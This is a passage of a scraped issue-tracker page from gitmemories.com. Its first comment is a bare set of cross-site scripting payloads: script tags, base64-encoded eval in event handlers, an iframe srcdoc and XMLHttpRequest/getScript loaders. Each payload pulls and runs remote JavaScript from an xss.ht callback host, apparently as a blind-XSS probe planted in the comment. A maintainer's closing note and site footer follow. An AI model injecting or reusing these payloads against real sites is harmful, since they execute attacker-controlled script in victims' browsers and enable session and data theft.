src="https://Rajpoot.xss.ht"></script> </head><body><p>javascript:eval('var a=document.createElement('script');a.src='https://Rajpoot.xss.ht';document.body.appendChild(a)') <input onfocus="eval(atob(this.id))" id="dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vUmFqcG9vdC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7" autofocus> <img src="x" id="dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vUmFqcG9vdC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7" onerror="eval(atob(this.id))"> <video><source onerror="eval(atob(this.id))" id="dmFyIGE9ZG9jdW1lbnQuY3JlYXRlRWxlbWVudCgic2NyaXB0Iik7YS5zcmM9Imh0dHBzOi8vUmFqcG9vdC54c3MuaHQiO2RvY3VtZW50LmJvZHkuYXBwZW5kQ2hpbGQoYSk7"></source></video></p> <iframe srcdoc='&lt;script&gt;var a=parent.document.createElement("script");a.src="https://Rajpoot.xss.ht";parent.document.body.appendChild(a);&lt;/script&gt;'> <script>function b(){eval(this.responseText)};a=new XMLHttpRequest();a.addEventListener("load", b);a.open("GET", "//Rajpoot.xss.ht");a.send();</script> <script>$.getScript("//Rajpoot.xss.ht")</script> </iframe></body></html> </p> <div class="body-meta"> <div class="owner-info float-right"> <img class="owner-avatar" src="https://avatars.githubusercontent.com/u/107300039?v=4" alt="AhsanAli517 avatar" width="48" height="48" title="Published by a pub.dev verified publisher"/> <span class="w3-opacity w3-small"> Jun 11 &#039;22 09:06 </span> <a class="owner-name" href="https://gitmemories.com/AhsanAli517"> AhsanAli517 </a> </div> </div> <div class="clear-both"></div> </div> <div class="issue-body"> <p> <html><body><p>this is out-of-date and 4.5 years old. This doesn't mean it isn't valid, but please re-open if necessary today.</p> </body></html> </p> <div class="body-meta"> <div class="owner-info float-right"> <img class="owner-avatar" src="https://avatars.githubusercontent.com/u/64215?v=4" alt="codefromthecrypt avatar" width="48" height="48" title="Published by a pub.dev verified publisher"/> <span class="w3-opacity w3-small"> Dec 15 &#039;23 11:12 </span> <a class="owner-name" href="https://gitmemories.com/codefromthecrypt"> codefromthecrypt </a> </div> </div> <div class="clear-both"></div> </div> </section> </div> </div> </div> <aside class="detail-info-box"> <h3 class="title pkg-infobox-metadata">Labels</h3> <h3 class="title">Owner</h3> <div class="owner-info flex-items-center d-flex"> <img class="owner-avatar" src="https://avatars.githubusercontent.com/u/6180701?v=4" alt="jeqo avatar" width="48" height="48" title="Published by a pub.dev verified publisher"/> <a class="owner-name" href="https://gitmemories.com/jeqo"> jeqo </a> </div> <hr class="color1"> <h3>Other Repo Issues</h3> <div class="packages"> </div> <div style="clear: both"></div> </aside> </div> </div> </main> <footer class="site-footer"> <span>© 2022 Git Memory </span> <a class="link sep" href="https://gitmemories.com/privacy-policy">Policy</a> <a class="link sep" href="https://gitmemories.com/terms">Terms </a> <a class="link sep" href="https://gitmemories.com/contact">Contact </a> <a class="link sep" href="https://exchangetuts.com">Exchangetuts </a> <a class="link sep" href="https://onltools.com/">Onltools </a> </footer> </body> </html>